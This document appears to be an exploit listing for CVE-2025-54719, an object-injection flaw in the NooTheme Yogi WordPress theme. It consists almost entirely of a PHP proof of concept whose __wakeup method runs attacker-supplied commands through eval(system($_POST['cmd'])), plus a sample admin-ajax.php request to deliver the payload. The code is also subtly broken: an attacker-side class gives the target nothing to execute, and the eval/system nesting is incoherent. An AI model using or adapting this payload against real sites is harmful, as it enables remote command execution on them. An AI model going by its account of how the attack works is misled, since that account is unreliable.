CVE-2025-54719 NooTheme Yogi WordPress主题不信任数据反序列化漏洞

<?php // CVE-2025-54719 PoC - NooTheme Yogi Object Injection // Discovered by: [email protected] // Generate malicious serialized payload class YogiExploit { private $data; public function __construct() { // This payload will be executed during deserialization $this->data = 'malicious_payload'; } public function __wakeup() { // Magic method executed on unserialize() // Insert malicious operations here (file inclusion, RCE, etc.) eval(system($_POST['cmd'])); } } // Generate the malicious serialized object $malicious_obj = new YogiExploit(); $serialized_payload = serialize($malicious_obj); // For demonstration - in real attack, this would be sent via HTTP request // to vulnerable endpoint that processes serialized data echo "Malicious Payload: " . $serialized_payload . "\n"; echo "URL encode: " . urlencode($serialized_payload) . "\n"; // Example HTTP POST request to exploit: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=noo_yogi_action&data=MALICIOUS_SERIALIZED_PAYLOAD */ ?>